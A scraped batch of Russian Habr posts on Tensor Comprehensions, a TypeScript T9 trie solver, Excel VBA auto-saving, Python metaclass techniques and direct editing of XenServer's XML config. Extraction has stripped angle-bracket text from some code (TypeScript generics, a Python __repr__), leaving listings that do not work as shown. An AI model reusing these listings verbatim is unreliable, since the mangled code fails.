Поделился с Вами о своих взглядах о возможных направлениях развития языка программирования C# и освятил, ранее не тронутую тему, о том, чего в C# нет, что в Java есть. Надеюсь, было интересно и полезно! Спасибо, что прочитали!
---
Ещё я веду telegram канал [StepOne](https://t.me/steponeit), где оставляю много интересных заметок про коммерческую разработку и мир IT глазами эксперта. | https://habr.com/ru/post/687412/ | null | ru | null |
# Как «подружить» инженеров и дата-сайентистов с помощью одной библиотеки
Представьте, что у вас имеется большой проект по машинному обучению. Естественно, сначала над ним работали дата-сайентисты, а затем инженеры-программисты, которые оптимизировали модель для быстрого выполнения на определенных GPU. В итоге модель изменилась так сильно, что дата-сайентисты перестали в ней что-либо понимать. Специально к старту нового потока курса [«Профессия Data Scientist»](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=111120) делимся материалом именно о том, как решить эту проблему. Конечно же, нужно буквально предоставить дата-сайентистам и инженерам общий язык. Подробности под катом.
[](https://habr.com/ru/company/skillfactory/blog/526976/)
---
В реальной жизни в проектах машинного обучения между специалистами по Data Science и разработчиками регулярно возникают трения. Они связаны в основном с проблемами трансляции модели машинного обучения (выраженной, как правило, в математических терминах) в код, который сможет масштабироваться на несколько графических или центральных процессоров. Множество раз мы сталкивались с ситуацией, когда:
В реальной жизни в проектах машинного обучения между специалистами по Data Science и разработчиками регулярно возникают трения. Они в основном связаны с проблемами трансляции модели машинного обучения (выраженной, как правило, в математических терминах), в код, который сможет масштабироваться на несколько графических или центральных процессоров. Множество раз мы сталкивались с такой ситуацией:
1. Специалист по Data Science или исследователь пишет алгоритм машинного обучения с помощью высокоуровневой нотации, например, на завоёвывающем сердца исследователей PyTorch.
2. Инженер берёт модель и транслирует её в более действенный код, возможно, используя другой фреймворк: TensorFlow или Caffe2, и начинает применять библиотеки производительности вроде CuBLAS, чтобы оптимизировать выполнение модели на разных GPU.
3. Спустя какое-то время трансформации модели настолько велики, что специалист по Data Science едва может понять её. Другими словами, знания о модели полностью переходят от дата-сайентистов к инженерам.
Ситуация, описанная выше, — следствие высокого уровня сложности, возникающего при оптимизации моделей машинного обучения с применением популярных высокопроизводительных библиотек, к примеру CuBLAS, MKL и CuDNN. Эти библиотеки необходимы для оптимизации производительности модели, но содержат множество низкоуровневых процедур в таких областях, как проверка памяти, параллелизм, инструментальная логика, — и это лишь некоторые из модификаций, которые делают модель почти непонятной для работавших с ней вначале людей. В больших группах специалистов Data Science эта проблема усложняется на порядок.
Влияние Tensor Comprehensions
-----------------------------
Трения между исследователями и инженерами — вездесущая проблема в любых крупномасштабных операциях Data Science. Крупные интернет-машины: Google, Amazon или Facebook, сталкиваются со многими формами этих трудностей в любой проблеме машинного обучения, которую они хотят решить. В прошлом году Лаборатория искусственного интеллекта (Facebook AI Labs) выпустила первую версию [Tensor Comprehensions](https://github.com/facebookresearch/TensorComprehensions) — библиотеки с открытым исходным кодом, помогающей преодолеть разрыв между специалистами Data Science и инженерами. Концептуально [Tensor Comprehensions](https://github.com/facebookresearch/TensorComprehensions) предоставляет математический язык, позволяющий исследователям моделировать проблемы, которые легко преобразуются в высокопроизводительный код. Лежащие в основе [Tensor Comprehensions](https://github.com/facebookresearch/TensorComprehensions) идеи изложены в [исследовательской работе, опубликованной Facebook AI Labs в прошлом году](https://arxiv.org/abs/1802.04730). Первый релиз Tensor Comprehensions содержит 4 фундаментальных компонента:
* Язык высокого уровня для выражения возникающих в ML тензорных вычислений с синтаксисом, обобщающим нотацию Эйнштейна.
* Сквозную компиляцию, способную понизить тензоры до эффективного GPU кода. Она обеспечивает высокую базовую производительность пользовательских операторов и остаётся конкурентоспособной по сравнению с библиотеками поставщиков на стандартных операторах.
* Коллекция алгоритмов компиляции полиэдрических компиляторов с определённым доменом и целевой ориентацией. В отличие от компиляторов для распараллеливания общего назначения оптимизация Tensor Comprehensions направлена в первую очередь на уменьшение накладных расходов на запуск и синхронизацию с помощью слияния ядер, а также способствуют многоуровневому параллелизму и продвижению на более глубокие уровни иерархии памяти.
* Фреймворк автонастройки, использующий преимущества JIT-компиляции и кэширования кода. Интеграция с ML-фреймворками, например PyTorch и Caffe2 (эти фреймворки — ядро стека ML Facebook).
Tensor Comprehensions строится на идеях других высокопроизводительных вычислительных фреймворков, таких как [Halide](http://halide-lang.org/). Tensor Comprehensions фактически использует компилятор [Halide](http://halide-lang.org/) как библиотеку. В частности, фреймворк полагается на промежуточные средства представления (IR) и анализа в [Halide](http://halide-lang.org/) и объединяет его с полиэдрическими методами компиляции, так что разработчики могут писать слои с помощью схожего синтаксиса высокого уровня, но без необходимости явно указывать, как он будет выполняться.
[Источник](https://research.fb.com/downloads/tensor-comprehensions/)
Использование Tensor Comprehensions во фреймворках глубокого обучения достаточно просто, оно показано ниже, в коде на PyTorch:
```
import tensor_comprehensions as tc
import torch
lang = """
def matmul(float(M, K) A, float(K, N) B) -> (C) {
C(m, n) +=! A(m, r_k) * B(r_k, n)
}
"""
matmul = tc.define(lang, name="matmul")
mat1, mat2 = torch.randn(3, 4).cuda(), torch.randn(4, 5).cuda()
out = matmul(mat1, mat2)
```
Код выше создаёт программу, оптимизированную для работы на архитектуре CUDA GPU. Tensor Comprehensions опирается на методику, называемую «полиэдрическая [прим. перев. — буквально „многогранная“, поскольку полагается на представление программ, особенно массивов и циклов, [в виде параметрических многогранников](https://polyhedral.info/)] компиляция», для преодоления входного сопротивления несоответствия между логической схемой тензорных операций высокого уровня (упорядочения размеров) и форматом данных, который ожидает генератор кода полиэдрического типа. Полиэдрическая компиляция позволяет Tensor Comprehensions для каждой новой сети планировать вычисления отдельных элементов тензора по требованию. Другим важным вкладом Tensor Comprehensions является использование библиотеки автонастройки множества объединённых графических процессоров (multi-GPU), основанной на эволюционных методах поиска, генерирующих и оценивающих тысячи вариантов реализации и, наконец, выбирающих наиболее эффективные варианты.
[Источник](https://research.fb.com/downloads/tensor-comprehensions/)
Первоначальные тесты показали, что Tensor Comprehensions уже соответствует и даже во многих случаях превосходит производительность нативных высокопроизводительных библиотек. Следующая столбцовая диаграмма иллюстрирует прирост производительности, наблюдаемый при сравнении ядер, автоматически полученных с помощью Tensor Comprehensions, с существующими альтернативами на Caffe2 и ATen (которые используют реализации библиотек производителя, например CuDNN).
[Источник](https://research.fb.com/downloads/tensor-comprehensions/)
Tensor Comprehensions доступна на Github как релиз с открытым исходным кодом. Будущие выпуски могут расширить фреймворк поддержкой других популярных библиотек глубокого обучения — TensorFlow или MxNet. Даже если вы не пользуетесь фреймворком, идеи, лежащие в основе Tensor Comprehensions, дают представление о том, как смягчить трения между исследователями и инженерами, занятыми в большом проекте ML.
На тот случай если вы задумали сменить сферу или повысить свою квалификацию — промокод **HABR** даст вам дополнительные 10% к скидке указанной на баннере.
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Обучение профессии Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=111120)
* [Обучение профессии Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=111120)
* [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DACAMP&utm_term=regular&utm_content=111120)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=111120)
**Eще курсы**
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=111120)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=111120)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=111120)
* [Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=111120)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=111120)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=111120)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=111120)
* [C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=111120)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=111120)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=111120)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=111120)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=061111201020)
Рекомендуемые статьи
--------------------
* [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024)
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Как изучать Machine Learning 5 дней в неделю 9 месяцев подряд](https://habr.com/ru/company/skillfactory/blog/510444/)
* [Сколько зарабатывает аналитик данных: обзор зарплат и вакансий в России и за рубежом в 2020](https://habr.com/ru/company/skillfactory/blog/520540/)
* [Machine Learning и Computer Vision в добывающей промышленности](https://habr.com/ru/company/skillfactory/blog/522776/) | https://habr.com/ru/post/526976/ | null | ru | null |
# Разбираем задачу T9 (predictive text)
Привет, Хабр! На днях ко мне обратился ученик на одном из ресурсов, где я выступаю в качестве frontend-ментора, с просьбой разобрать одну задачу. Суть задачи состояла в следующем:
**Найти все доступные комбинаций предложений, полученных методом** [**T9 (predictive text)**](https://en.wikipedia.org/wiki/T9_(predictive_text))
**Вводные данные:**
Файл input.txt, в котором описаны последовательности цифр, имитирующие пользовательский ввод:
```
48 26624637 843 476877 63 5388377 66 3224 74663 539 9484 2 3278 222377 3428466279 63 96737
48 56657 87 46 843 3428466279 255 96737 2677377663464 86 843 73783623 63 5397876537 263 673377 8436 29 373783629 63 873
2 26678837 47 2 776472662253 6224463 8428 73234837 46788 786737 263 62647852837 3282 263 77684337 688788 46 2 873385 367628
2 644486273 47 2 37326 8428 226 22873 2 787664 63428483 366846625 73776673 3766 843 7533737 897422559 3327 67 467767
746784263 47 26 22273842833 79626542 9748464 638463 8428 462732737 77333 67 2738489 63 9748464 27 26672733 86 2 667625 638463 63 9748464 2 52648243
843 7762377 63 9748464 46 746784263 47 225533 78366472749
843 8376 625664 47 622274662559 8733 86 73337 86 2 666 778273 732826453
```
Файл dictionary.txt, в котором представлен список английских слов, который используется для предсказания заданного слова из последовательности выше.
**Выходные данные:**
Файл output.txt, в котором собраны все возможные варианты предложений.
**Разбор задачи**
Первое, что приходит на ум, так это использовать [префиксные деревья](https://en.wikipedia.org/wiki/Trie). А перед этим стоит пояснить что же это такое.
Префиксное дерево — структура данных для хранения строк, построенная в виде дерева, где на ребрах записаны символы, а некоторые вершины помечены как конечные. Классически данная структура может быть представлена изображением ниже:
Префиксное дерево проще всего хранить в виде ссылок на вершины. Каждая вершина обычно содержит информацию о том, является ли она конечной, ссылки на связаные вершины, а также любая дополнительная информация, зависящая от задачи.
Для латинского алфавита префиксное дерево может быть реализовано по приниципу ниже.
Перед тем как реализововывать дерево, в начале нам понадобится определить карту соответствия букв цифрам в раскладке клавиатуры кнопочного телефона:
Маппинг
```
export const keyMap: Record = {
a: 2,
b: 2,
c: 2,
d: 3,
e: 3,
f: 3,
g: 4,
h: 4,
i: 4,
j: 5,
k: 5,
l: 5,
m: 6,
n: 6,
o: 6,
p: 7,
q: 7,
r: 7,
s: 7,
t: 8,
u: 8,
v: 8,
w: 9,
x: 9,
y: 9,
z: 9,
};
```
Далее приступим к реализации непосредственно префиксного дерева. Для этих целей заведем класс Trie, который реализует два основных метода **insert**и **getPredictions**. Здесь вставка работает путем обхода дерева в соответствии со строкой, которая должна быть вставлена, а затем в суффикс строки добавляются новые узлы, не содержащиеся в дереве. Метод **getPredictions**работает путем прохода от корня по символам слова. Если в конце оказывается, что вершина конечна — то слово найдено, в противном случае нет.
Код класса
```
import { keyMap, rootGenerator } from "./helpers";
import { Root, Prediction } from './interfaces';
class Trie {
root: Root;
constructor() {
this.root = rootGenerator();
}
insert(word: string): void {
if (word.length === 0) throw new Error("A word has to be specified");
let currentNode = this.root;
Array.from(word).forEach((letter, index) => {
const digit = keyMap[letter];
let isLastNode = false;
if (word.length === index + 1) isLastNode = true;
if (!digit) throw new Error("Not a valid digit");
if (!currentNode.children) currentNode.children = {};
if (!currentNode.children[digit]) currentNode.children[digit] = rootGenerator();
currentNode = currentNode.children[digit] as Root;
if (!isLastNode) currentNode.predictions.deep.push(word);
});
currentNode.predictions.current.push(word);
}
getPredictions(keyString: string): Prediction | undefined {
const state = rootGenerator().predictions;
let currentNode = this.root;
let predictions;
Array.from(keyString).forEach((nodeKey) => {
if (!currentNode.children || !currentNode.children[nodeKey]) {
predictions = state;
return;
}
currentNode = currentNode.children[nodeKey] as Root;
predictions = currentNode.predictions;
});
return predictions;
}
}
export default Trie;
```
Теперь реализуем класс для заполнения дерева и разбора словаря. Тут нет каких-то уникальных моментов, поэтому без комментариев.
Парсинг
```
import { readFileSync } from "fs";
import Trie from "./trie";
import { rootGenerator } from "./helpers";
import { Prediction } from "./interfaces";
class TrieParser {
trie: Trie;
filePath: string;
constructor(filePath: string) {
this.trie = new Trie();
this.filePath = filePath;
}
createTrie(words?: string[]): void {
const wordArray = words || this.parseDictionary();
// Creating trie from words array
wordArray.forEach((word) => {
this.trie.insert(word);
});
}
parseDictionary(): string[] {
const filePath = this.filePath;
const data = readFileSync(filePath, {
encoding: "utf8",
});
const regex = /\r?\n/;
const array = data.toString().split(regex);
return array;
}
getPredictions(keyString: string): Prediction | undefined {
if (!keyString) return rootGenerator().predictions;
return this.trie.getPredictions(keyString);
}
}
export default TrieParser;
```
Дело за малым — определиться, каким образом можно получить списки всех доступных комбинаций. Классический подход к генерации таких списков — [алгоритм кучи](http://homepage.math.uiowa.edu/~goodman/22m150.dir/2007/Permutation%20Generation%20Methods.pdf), однако в нашем случае он не подходит, потому что мы хотим получить только уникальные варианты, а поэтому наиболее подходящий вариант — [декартово произведение](https://en.wikipedia.org/wiki/Cartesian_product), реализация которого будет выглядеть следующим образом:
```
export function cartesian(...words: T[][]): T[][] {
// iteratively get the cartesian product
return words.reduce(
// part - cartesian product of the first few arrays from words
(part, array) =>
part.flatMap((cartesianPart) =>
//cartesianPart is an array-prefix of one of the elements of the cartesian product
array.map((element) => [...cartesianPart, element])
),
[[]]
);
}
```
На этом самая сложная часть заканчивается, и осталось только вызвать реализованные методы. Код с комментариями находится ниже:
Финальный листинг
```
import { readFileSync, createWriteStream, unlinkSync, existsSync } from "fs";
import { cartesian } from "./utils/cartesian";
import TrieParser from "./trie/trie-parser.js";
const dictionaryFilePath = "src/data/dictionary.txt";
const combinationsFilePath = "src/data/combinations.txt";
const outputFilePath = "src/data/output.txt";
const trieDictionaryInstance = new TrieParser(dictionaryFilePath);
trieDictionaryInstance.createTrie();
export function main() {
try {
if (existsSync(outputFilePath)) unlinkSync(outputFilePath);
// create file stream
const output = createWriteStream(outputFilePath, {
flags: "a",
});
const rawData = readFileSync(combinationsFilePath, { encoding: "utf-8" })
.toString()
.split(/\r?\n/);
for (const rawCombination of rawData) {
const combinations = rawCombination.split(" ");
const predictionArray: string[][] = combinations.map((combination) => {
// Get predictions for each combination in the string
const result = trieDictionaryInstance.getPredictions(combination);
const targetArray = result?.current.flatMap((item) =>
Array.isArray(item) ? item : [item]
);
return targetArray;
}) as string[][];
// Get cartesian products
const possibleProducts = (
[...cartesian(...(predictionArray as [string[]]))] as string[][]
).map((permutation) => permutation.join(" "));
for (const permutation of possibleProducts) {
output.write(permutation + "\r");
}
}
output.end();
} catch (e) {
console.error(e);
}
}
main();
```
Код задачи доступен на [гитхаб](https://github.com/eyudinkov/t9-trie.git). Спасибо за внимание! | https://habr.com/ru/post/599029/ | null | ru | null |
# Как запланировать повторяющийся запуск VBA-процедуры в MS Excel без Application.OnTime
В этой статье мы продемонстрируем простую альтернативу Application.OnTime для периодического запуска VBA-процедур в MS Excel.
Предположим, что мы связали рабочую книгу MS Excel с каким-то внешним источником данных (напр., листом MS SharePoint или базой данных MS Access) и что данные автоматически обновляются каждые 2 минуты пока рабочая книга открыта, – это можно настроить при помощи Подключений.
Предположим также, что наша рабочая книга обрабатывает импортированные данные и что результат этих вычислений должен быть виден другим рабочим книгам, – для реализации последнего требования мы должны сохранять нашу рабочую книгу.
Программный код 1 демонстрирует, как сохранять рабочую книгу всякий раз после импорта внешних данных на соответствующий лист.
```
Private Sub Worksheet_Change(ByVal Target As Range)
Dim xDiAl As Boolean
xDiAl = Application.DisplayAlerts
Application.DisplayAlerts = False
ThisWorkbook.Save
Application.DisplayAlerts = xDiAl
End Sub
```
Событие Worksheet\_Change запускается каждый раз после импорта внешних данных (даже если не было никаких изменений в данных) и, в свою очередь, может запускать подпроцедуру, как показано в Программном коде 2.
```
Private Sub Worksheet_Change(ByVal Target As Range)
Call xSubProc
End Sub
```
Таким образом, мы можем использовать этот подход в качестве простой альтернативы для Application.OnTime и планировать периодическое выполнение VBA-процедур при помощи интервала обновления, установленного в Свойствах подключения, как показано на Рис. 1.
Рис. 1. Свойства подключения | https://habr.com/ru/post/677368/ | null | ru | null |
# Python: метапрограммирование в продакшене. Часть вторая
Мы продолжаем говорить о метапрограммировании в Python. При правильном использовании оно позволяет быстро и элегантно реализовывать сложные паттерны проектирования. В [прошлой части](https://habr.com/company/binarydistrict/blog/422409/) этой статьи мы показали, как можно использовать метаклассы, чтобы изменять атрибуты экземпляров и классов.
Теперь посмотрим как можно изменять вызовы методов. Больше о возможностях метапрограммирования вы сможете узнать на курсе [Advanced Python](https://binarydistrict.com/ru/course/advanced-python/?utm_source=blogs&utm_medium=habrhabr&utm_campaign=metaprogramming_part2).
Отладка и трейсинг вызовов
--------------------------
Как вы уже поняли, с помощью метакласса любой класс можно преобразить до неузнаваемости. Например, заменить все методы класса на другие или применить к каждому методу произвольный декоратор. Эту идею можно использовать для отладки производительности приложения.
Следующий метакласс замеряет время выполнения каждого метода в классе и его экземплярах, а также время создания самого экземпляра:
```
from contextlib import contextmanager
import logging
import time
import wrapt
@contextmanager
def timing_context(operation_name):
"""Этот контекст менеджер замеряет время выполнения произвольной операции"""
start_time = time.time()
try:
yield
finally:
logging.info('Operation "%s" completed in %0.2f seconds',
operation_name, time.time() - start_time)
@wrapt.decorator
def timing(func, instance, args, kwargs):
"""
Замеряет время выполнения произвольной фукнции или метода.
Здесь мы используем библиотеку https://wrapt.readthedocs.io/en/latest/
чтобы безболезненно декорировать методы класса и статические методы
"""
with timing_context(func.__name__):
return func(*args, **kwargs)
class DebugMeta(type):
def __new__(mcs, name, bases, attrs):
for attr, method in attrs.items():
if not attr.startswith('_'):
# оборачиваем все методы декоратором
attrs[attr] = timing(method)
return super().__new__(mcs, name, bases, attrs)
def __call__(cls, *args, **kwargs):
with timing_context(f'{cls.__name__} instance creation'):
# замеряем время выполнения создания экземпляра
return super().__call__(*args, **kwargs)
```
Посмотрим на отладку в действии:
```
class User(metaclass=DebugMeta):
def __init__(self, name):
self.name = name
time.sleep(.7)
def login(self):
time.sleep(1)
def logout(self):
time.sleep(2)
@classmethod
def create(cls):
time.sleep(.5)
user = User('Michael')
user.login()
user.logout()
user.create()
# Вывод логгера
INFO:__main__:Operation "User instance creation" completed in 0.70 seconds
INFO:__main__:Operation "login" completed in 1.00 seconds
INFO:__main__:Operation "logout" completed in 2.00 seconds
INFO:__main__:Operation "create" completed in 0.50 seconds
```
Попробуйте самостоятельно расширить `DebugMeta` и логгировать сигнатуру методов и их stack-trace.
Паттерн «одиночка» и запрет наследования
----------------------------------------
А теперь перейдем к экзотическим случаям использования метаклассов в питоновских проектах.
Наверняка многие из вас используют обычный питоновский модуль для реализации шаблона проектирования [одиночка](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_%28%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%29) (он же Singleton), ведь это намного удобнее и быстрее, чем писать соответствующий метакласс. Однако давайте напишем одну из его реализаций ради академического интереса:
```
class Singleton(type):
instance = None
def __call__(cls, *args, **kwargs):
if cls.instance is None:
cls.instance = super().__call__(*args, **kwargs)
return cls.instance
class User(metaclass=Singleton):
def __init__(self, name):
self.name = name
def __repr__(self):
return f''
u1 = User('Pavel')
# Начиная с этого момента все пользователи будут Павлами
u2 = User('Stepan')
>>> id(u1) == id(u2)
True
>>> u2
>>> User.instance
# Как тебе такое, Илон?
>>> u1.instance.instance.instance.instance
```
У этой реализации есть интересный нюанс – поскольку конструктор класса во второй раз не вызывается, то можно ошибиться и не передать туда нужный параметр и во время выполнения ничего не произойдет, если экземпляр уже был создан. Например:
```
>>> User('Roman')
>>> User('Alexey', 'Petrovich', 66) # конструктор не принимает столько параметров!
# Но если бы конструктор User до этого момента еще не вызывался
# мы бы получили TypeError!
```
А теперь взглянем на еще более экзотический вариант: запрет на наследование от определенного класса.
```
class FinalMeta(type):
def __new__(mcs, name, bases, attrs):
for cls in bases:
if isinstance(cls, FinalMeta):
raise TypeError(f"Can't inherit {name} class from
final {cls.__name__}")
return super().__new__(mcs, name, bases, attrs)
class A(metaclass=FinalMeta):
"""От меня нельзя наследоваться!"""
pass
class B(A):
pass
# TypeError: Can't inherit B class from final A
# Ну я же говорил!
```
Параметризация метаклассов
--------------------------
В предыдущих примерах мы использовали метаклассы, чтобы кастомизировать создание классов, но можно пойти еще дальше и начать параметризировать поведение метаклассов.
Например можно в параметр `metaclass` при объявлении класса передать функцию и возвращать из нее разные экземпляры метаклассов в зависимости от каких-то условий, например:
```
def get_meta(name, bases, attrs):
if SOME_SETTING:
return MetaClass1(name, bases, attrs)
else:
return MetaClass2(name, bases, attrs)
class A(metaclass=get_meta):
pass
```
Но более интересный пример – это использование `extra_kwargs` параметров при объявлении классов. Допустим, вы хотите с помощью метакласса поменять поведение определенных методов в классе и у каждого класса эти методы могут называться по-разному. Что же делать? А вот что
```
# Параметризуем наш `DebugMeta` метакласс из примера выше
class DebugMetaParametrized(type):
def __new__(mcs, name, bases, attrs, **extra_kwargs):
debug_methods = extra_kwargs.get('debug_methods', ())
for attr, value in attrs.items():
# Замеряем время исполнения только для методов, имена которых
# переданы в параметре `debug_methods`:
if attr in debug_methods:
attrs[attr] = timing(value)
return super().__new__(mcs, name, bases, attrs)
class User(metaclass=DebugMetaParametrized, debug_methods=('login', 'create')):
...
user = User('Oleg')
user.login()
# Метод "logout" залогирован не будет.
user.logout()
user.create()
```
На мой взгляд, получилось очень элегантно! Можно придумать достаточно много паттернов использования такой параметризации, однако помните главное правило – все хорошо в меру.
Примеры использования метода `__prepare__`
------------------------------------------
Напоследок расскажу про возможное использование метода `__prepare__`. Как уже говорилось выше, этот метод должен вернуть объект-словарь, который интерпретатор заполняет в момент парсинга тела класса, например если `__prepare__` возвращает объект `d = dict()`, то при чтении следующего класса:
```
class A:
x = 12
y = 'abc'
z = {1: 2}
```
Интерпретатор выполнит такие операции:
```
d['x'] = 12
d['y'] = 'abc'
d['z'] = {1: 2}
```
Есть несколько возможных вариантов использования этой особенности. Все они разной степени полезности, итак:
1. В версиях Python =< 3.5, если нам требовалось сохранить порядок объявления методов в классе, мы могли бы вернуть `collections.OrderedDict` из метода `__prepare__`, в версиях старше встроенные словари уже сохраняют порядок добавления ключей, поэтому необходимость в `OrderedDict` отпала.
2. В модуле стандартной библиотеки `enum` используется кастомный dict-like объект, чтобы определять случаи, когда атрибут класса дублируется при объявлении. Код можно посмотреть [здесь](https://github.com/python/cpython/blob/3fe89dac42809a7741d50ebf595be98833b79b97/Lib/enum.py#L94).
3. Совсем не production-ready код, но очень хороший пример – поддержка [параметрического полиморфизма](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%BF%D0%BE%D0%BB%D0%B8%D0%BC%D0%BE%D1%80%D1%84%D0%B8%D0%B7%D0%BC).
Например, рассмотрим следующий класс c тремя реализациями одного полиморфного метода:
```
class Terminator:
def terminate(self, x: int):
print(f'Terminating INTEGER {x}')
def terminate(self, x: str):
print(f'Terminating STRING {x}')
def terminate(self, x: dict):
print(f'Terminating DICTIONARY {x}')
t1000 = Terminator()
t1000.terminate(10)
t1000.terminate('Hello, world!')
t1000.terminate({'hello': 'world'})
# Вывод
Terminating DICTIONARY 10
Terminating DICTIONARY Hello, world!
Terminating DICTIONARY {'hello': 'world'}
```
Очевидно, что последний объявленный метод `terminate` перезаписал реализации первых двух, а нам нужно чтобы, метод был выбран в зависимости от типа переданного аргумента. Чтобы этого добиться, напрограммируем пару дополнительных объектов-оберток:
```
class PolyDict(dict):
"""
Словарь, который при сохранении одного и того же ключа
оборачивает все его значения в один PolyMethod.
"""
def __setitem__(self, key: str, func):
if not key.startswith('_'):
if key not in self:
super().__setitem__(key, PolyMethod())
self[key].add_implementation(func)
return None
return super().__setitem__(key, func)
class PolyMethod:
"""
Обертка для полиморфного метода, которая хранит связь между типом аргумента
и реализацией метода для данного типа. Для данного объекта мы реализуем
протокол дескриптора, чтобы поддержать полиморфизм для всех типов методов:
instance method, staticmethod, classmethod.
"""
def __init__(self):
self.implementations = {}
self.instance = None
self.cls = None
def __get__(self, instance, cls):
self.instance = instance
self.cls = cls
return self
def _get_callable_func(self, impl):
# "достаем" функцию classmethod/staticmethod
return getattr(impl, '__func__', impl)
def __call__(self, arg):
impl = self.implementations[type(arg)]
callable_func = self._get_callable_func(impl)
if isinstance(impl, staticmethod):
return callable_func(arg)
elif self.cls and isinstance(impl, classmethod):
return callable_func(self.cls, arg)
else:
return callable_func(self.instance, arg)
def add_implementation(self, func):
callable_func = self._get_callable_func(func)
# расчитываем на то, что метод принимает только 1 параметр
arg_name, arg_type = list(callable_func.__annotations__.items())[0]
self.implementations[arg_type] = func
```
Самое интересное в коде выше – это объект `PolyMethod`, который хранит реестр с реализациями одного и того же метода в зависимости от типа аргумента переданного в этот метод. A объект `PolyDict` мы вернем из метода `__prepare__` и тем самым сохраним разные реализации методов с одинаковым именем `terminate`. Важный момент – при чтении тела класса и при создании объекта `attrs` интерпретатор помещает туда так называемые `unbound` функции, эти функции еще не знают у какого класса или экземпляра они будут вызваны. Нам пришлось реализовать [протокол дескриптора](https://docs.python.org/3/howto/descriptor.html), чтобы определить контекст во время вызова функции и передать первым параметром либо `self` либо `cls`, либо ничего не передавать если вызван `staticmethod`.
В итоге мы увидим следующую магию:
```
class PolyMeta(type):
@classmethod
def __prepare__(mcs, name, bases):
return PolyDict()
class Terminator(metaclass=PolyMeta):
...
t1000 = Terminator()
t1000.terminate(10)
t1000.terminate('Hello, world!')
t1000.terminate({'hello': 'world'})
# Вывод
Terminating INTEGER 10
Terminating STRING Hello, world!
Terminating DICTIONARY {'hello': 'world'}
>>> t1000.terminate
<__main__.PolyMethod object at 0xdeadcafe>
```
Если вы знаете еще какие-нибудь интересные использования метода `__prepare__`, пишите, пожалуйста, в комментариях.
Заключение
----------
Метапрограммирование — одна из многих тем, рассказываемых мной на интенсиве [Advanced Python](https://binarydistrict.com/ru/course/advanced-python/?utm_source=blogs&utm_medium=habrhabr&utm_campaign=metaprogramming_part2). В рамках курса я также расскажу, как эффективно использовать принципы SOLID и GRASP в разработке больших проектов на Python, проектировать архитектуру приложений и писать высокопроизводительный и качественный код. Буду рад увидеться с вами в стенах Binary District! | https://habr.com/ru/post/422415/ | null | ru | null |
# Обработка XML конфигурации Citrix XenServer 5.6 Free напрямую
В процессе работы с **XenServer** можно менять его конфигурацию разными способами.
Начиная от графической утилиты **XenCenter** и консольной команды **xe** заканчивая прямым вмешательством в XML конфиг.
Вот о последнем и хотелось бы с вами поговорить.
Далеко не все желаемые действия можно произвести штатными утилитами. Но меняя конфигурацию напрямую, можно сделать все.
Проанализировав содержимое файла /var/xapi/state.db вы сможете вносить даже изменения, не предусмотренные производителем или лицензией.
Как вы наверное знаете, центр API для XenServer это демоны **xapi**.
Их моторика, с точки зрения хранения конфигурации выглядит следующим образом:
1. Старт XAPI
2. Загрузка XML state.db в память
3. Работа ( в это время все изменения происходят в памяти)
4. Остановка XAPI
5. Запись в XML state.db
Поскольку, XAPI рубит несанкционированные изменения «на ходу», то действия лучше производить напрямую с файлом, остановив для этого сервис **xapi**.
Но тут вступают в силу несколько «НО».
Самое большое НО,- неудобство обработки файла средствами **vi** и других редакторов.
